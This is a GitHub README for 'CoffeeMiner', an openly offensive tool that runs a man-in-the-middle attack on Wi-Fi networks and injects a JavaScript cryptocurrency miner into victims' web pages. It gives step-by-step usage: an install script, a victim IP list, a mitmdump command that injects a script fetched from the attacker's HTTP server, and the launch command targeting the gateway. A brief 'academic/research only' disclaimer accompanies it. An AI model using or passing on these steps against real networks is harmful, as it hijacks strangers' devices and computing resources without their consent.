You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

40 lines
1.3 KiB

6 years ago
6 years ago
6 years ago
6 years ago
6 years ago
6 years ago
  1. # CoffeeMiner
  2. Collaborative (mitm) cryptocurrency mining pool in wifi networks
  3. **Warning: this project is for academic/research purposes only.**
  4. A blog post about this project can be read here: http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html
  5. ![coffeeMiner](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-logo-small.png "coffeeMiner")
  6. ## Concept
  7. - Performs a MITM attack to all selected victims
  8. - Injects a js script in all the HTML pages requested by the victims
  9. - The js script injected contains a cryptocurrency miner
  10. - All the devices victims connected to the Lan network, will be mining for the CoffeeMiner
  11. ## Use
  12. - install.sh
  13. ```
  14. bash install.sh
  15. ```
  16. - edit victims.txt with one IP per line
  17. - edit coffeeMiner.py, line 28, with the coffeeMiner httpserver IP:
  18. ```py
  19. os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
  20. ```
  21. - execute coffeeMiner.py
  22. ```
  23. python3 coffeeMiner.py ipgateway
  24. ```
  25. ![network](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-network-attack.png "network")
  26. A complete instructions for academic scenario can be found in https://github.com/arnaucode/coffeeMiner/blob/master/virtualbox_scenario_instructions.md
  27. ![demo](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-demo-cutted.gif "demo")